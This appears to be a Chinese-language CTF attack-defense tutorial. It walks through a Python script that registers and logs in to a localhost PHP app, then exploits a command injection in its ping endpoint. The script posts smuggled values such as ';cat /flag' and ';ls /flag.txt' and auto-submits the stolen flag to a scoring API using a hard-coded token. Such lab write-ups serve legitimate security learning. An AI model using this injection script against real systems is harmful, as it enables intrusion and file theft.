上一部分我们通过读源码和利用源码审计的工具找到了这个漏洞,但是在比赛的时候有很多靶机,我们去一个个的注册,一个个的登录然后输入很浪费时间,所以我选择写一个python脚本来实现自动获得flag以及自动提交flag.
首先我们将这次的脚本分为四个部分
1,注册部分:我们需要注册一个账号之后才能登入系统,所以我们要知道注册界面有几个参数,我们使用burpsuite抓包查看
我们可以看到这里有四个参数是需要进行传入的而且是post传参,sex为0表示男,为1表示女。现在开始构造函数
import requests
def regeister():
url ='http://localhost:8801/index.php?c=User&a=register'
data = {
'username':'123',
'password':'123',
'sex':0,
'age':18
}
res = requests.post(url=url,data=data)
if res.status_code == 200:
print('注册成功')
else:
print('注册失败')
2.登录部分:注册成功之后,我们就要进行登录,登录就使用注册的账号和密码
def login():
url1='http://localhost:8801/'
grame = {
'username':'123',
'password':123,
}
res = requests.post(url=url1,data=grame)
if res.status_code==200:
print('登录成功')
else:
print('登录失败')
3.获得flag:成功的注册和登录之后,来到这个页面就可以开始利用我们的漏洞了
把url里面的home改为ping,然后post传参host的值为;ls /flag.txt,就可以拿到flag的值
def usevu():
url2 = 'http://localhost:8801/index.php?c=User&a=ping'
data={
'host':';ls /flag.txt'
}
res = requests.post(url=url2,data=data)
if res.status_code==200:
flag=res.text
print(flag)
运行之后是这样
4,自动提交flag:现在我们就要考虑如何进行自动提交flag,我们来到提交页面发现有提示,有请求头
请求体
然后接口在下面有提示
我们就直接写一个post提交就可以了
def submit(flags):
url = 'http://localhost:19999/api/flag'
headers={
"Content-Type": "application/json",
"Authorization": "e8b084904533203d71dbc24f6f2009c5"
}
flag=flags
data = {
"flag":flag
}
res = requests.post(url=url,json=data,headers=headers)
if res.status_code==200:
print('提交成功')
else:
print('提交失败')
注意这里面的post参数不能使用data了,因为header里面的格式写了使用json,所以这里一定要改为json,这里卡了我很久。最后成功提交
大屏也是显示成功
完整的代码展示如下,多IP的我就不在写了,如果有小伙伴感兴趣,可以自己添加多IP提交,今天的学习分享就到这里,谢谢大家的观看。
import requests
def regeister():
url ='http://localhost:8801/index.php?c=User&a=register'
data = {
'username':'1234',
'password':'1234',
'sex':0,
'age':18
}
res = requests.post(url=url,data=data)
if res.status_code == 200:
print('注册成功')
else:
print('注册失败')
def login():
url1='http://localhost:8801/'
grame = {
'username':'1234',
'password':'1234',
}
res = requests.post(url=url1,data=grame)
if res.status_code==200:
print('登录成功')
else:
print('登录失败')
def usevu():
url2 = 'http://localhost:8801/index.php?c=User&a=ping'
data={
'host':';cat /flag'
}
res = requests.post(url=url2,data=data)
if res.status_code==200:
flag=res.text
print(flag)
return flag
else:
print('查找失败')
def submit(flags):
url = 'http://localhost:19999/api/flag'
headers={
"Content-Type": "application/json",
"Authorization": "e8b084904533203d71dbc24f6f2009c5"
}
flag=flags
data = {
"flag":flag
}
res = requests.post(url=url,json=data,headers=headers)
if res.status_code==200:
print('提交成功')
else:
print('提交失败')
if __name__=='__main__':
regeister()
login()
flags=usevu()
submit(flags=flags)